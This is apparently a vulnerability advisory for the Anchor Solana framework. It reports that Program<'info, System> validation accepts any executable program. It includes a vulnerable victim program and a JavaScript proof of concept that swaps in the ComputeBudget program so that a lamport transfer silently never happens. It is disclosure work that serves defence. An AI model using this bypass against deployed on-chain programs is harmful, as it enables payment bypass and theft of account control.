Anchor: Program<'info, System> is not properly validated

Summary

An logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.

Details

In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.

https://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163

PoC

Build and deploy the following anchor program:

/// victim.rs
/// an anchor program that uses the system program in some way.

use anchor_lang::prelude::*;
use anchor_lang::prelude::program::invoke;
use anchor_lang::prelude::instruction::Instruction;

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(mut)]
    pub sender: Signer<'info>,
    #[account(mut)]
    pub recipient: SystemAccount<'info>,
    // the "System" part here should ensure that callers can only pass the system program.
    pub system_program: Program<'info, System>,
}

pub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {
    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.
    msg!("System program: {:?}", ctx.accounts.system_program.key());

    // construct a transfer instruction
    // note that not only raw instructions, but also any other instruction
    // builders that properly forward the passed in program id are vulnerable.
    let mut data = Vec::new();
    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator
    data.extend_from_slice(&amount.to_le_bytes());  // amount

    let accounts = vec![
        AccountMeta::new(ctx.accounts.sender.key(), true),
        AccountMeta::new(ctx.accounts.recipient.key(), false),
    ];

    let ix = Instruction {
        program_id: ctx.accounts.system_program.key(),
        accounts,
        data,
    };

    let account_infos = [
        ctx.accounts.sender.to_account_info(),
        ctx.accounts.recipient.to_account_info(),
        ctx.accounts.system_program.to_account_info(),
    ];

    // invoke the transfer instruction
    invoke(&ix, &account_infos)?;

    Ok(())
}

Run the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js

/// attacker.js
/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen
/// while the victim program thinks it has happened.

import { Connection, Keypair, PublicKey, SystemProgram } from "@solana/web3.js";
import { AnchorProvider, Program, Wallet } from "@coral-xyz/anchor";
import BN from "bn.js";
import fs from "fs";
import idl from "./victim_idl.json" with { type: "json" };  // the idl of the victim program, generated by `anchor build`

const keypair = Keypair.generate();
const receiver = Keypair.generate();

const connection = new Connection("http://localhost:8899", "confirmed");
const provider = new AnchorProvider(connection, new Wallet(keypair), {});

async function airdrop(publicKey, amount) {
    const tx = await connection.requestAirdrop(publicKey, amount);
    await connection.confirmTransaction(tx);
    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);
}

async function printBalance(publicKey) {
    const balance = await connection.getBalance(publicKey);
    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);
}

await airdrop(keypair.publicKey, 1e9);
await airdrop(receiver.publicKey, 1e9);

const program = new Program(idl, provider);

const tx = await program.methods
    .initialize(new BN(1e9 / 2))
    .accounts({
        sender: keypair.publicKey,
        recipient: receiver.publicKey,
        // we pass the compute budget program instead of the system program
        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.
        // if we comment this out, anchor will pass in the system program and the transfer will succeed
        systemProgram: new PublicKey("ComputeBudget111111111111111111111111111111"),
    })
    .rpc();

console.log("Transaction signature:", tx);
await connection.confirmTransaction(tx);

// Check balances
await printBalance(keypair.publicKey);
await printBalance(receiver.publicKey);

/*

expected balances:
499995000
1500000000

actual balances:
999995000
1000000000

*/

Inspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.

If you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.

Impact

This is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.